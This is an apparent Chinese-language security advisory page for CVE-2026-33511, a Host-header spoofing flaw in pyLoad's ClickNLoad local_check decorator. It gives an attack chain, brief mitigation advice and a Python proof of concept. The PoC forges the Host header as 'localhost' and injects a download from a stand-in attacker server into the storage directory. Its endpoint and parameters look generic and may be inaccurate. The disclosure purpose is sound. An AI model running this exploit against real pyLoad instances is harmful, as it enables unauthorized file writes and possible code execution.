IPBUF安全漏洞报告
English
CVE-2026-33511 CVSS 9.8 严重

CVE-2026-33511 pyLoad Host头欺骗漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33511
漏洞类型
HTTP Host头欺骗
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
pyLoad

相关标签

HTTP Host头欺骗pyLoadRCESSRF权限绕过

漏洞概述

pyLoad是一个免费开源的Python下载管理器。在0.4.20至0.5.0b3.dev97之前的版本中,ClickNLoad功能的local_check装饰器存在缺陷。未经身份认证的远程攻击者可以通过HTTP Host头欺骗绕过本地访问限制,访问本应仅限本地访问的端点。成功利用该漏洞可导致攻击者注入任意下载、向存储目录写入文件并执行JavaScript代码,造成严重的安全风险。

技术细节

该漏洞的核心在于pyLoad的ClickNLoad功能中用于限制仅本地访问的local_check装饰器校验逻辑存在缺陷。该装饰器通常检查请求来源是否为本地主机(如127.0.0.1或localhost),但开发者可能仅依赖了HTTP请求头中的Host字段进行验证,而未验证实际的网络连接来源。攻击者可以通过构造恶意的HTTP请求,将Host头设置为“localhost”或“127.0.0.1”,从而欺骗服务器认为请求来自本地。一旦绕过检查,攻击者即可访问受限的API端点。这些端点原本用于管理下载任务,攻击者利用此功能可以指定任意的下载链接,将恶意文件写入服务器的存储目录,并通过注入的JavaScript代码在受害者浏览器中执行,最终可能导致远程代码执行(RCE)。

攻击链分析

STEP 1
侦察
攻击者识别互联网上暴露的pyLoad服务实例。
STEP 2
Host头欺骗
攻击者向pyLoad的ClickNLoad端点发送HTTP请求,并在请求头中将Host字段伪造为'localhost'。
STEP 3
绕过防护
服务端的local_check装饰器读取到Host为localhost,错误地认为请求是本地发起的,从而允许访问。
STEP 4
恶意操作
攻击者利用访问权限调用API注入恶意的下载任务,将恶意文件写入存储目录或执行JavaScript代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-ip:port/api/clicknload" # Malicious payload to inject download or JS payload = { "package": "malicious_package", "urls": "http://attacker-server/malicious.js", "destination": "/var/lib/pyload/downloads" } # Spoof the Host header to bypass local_check headers = { "Host": "localhost", "User-Agent": "PoC-Client/1.0" } try: response = requests.post(target_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Command sent.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

pyLoad >= 0.4.20, < 0.5.0b3.dev97

防御指南

临时缓解措施
如果无法立即升级,建议暂时停止使用pyLoad服务或将其仅绑定在127.0.0.1,确保不对外暴露。同时,检查存储目录中是否存在异常的下载文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表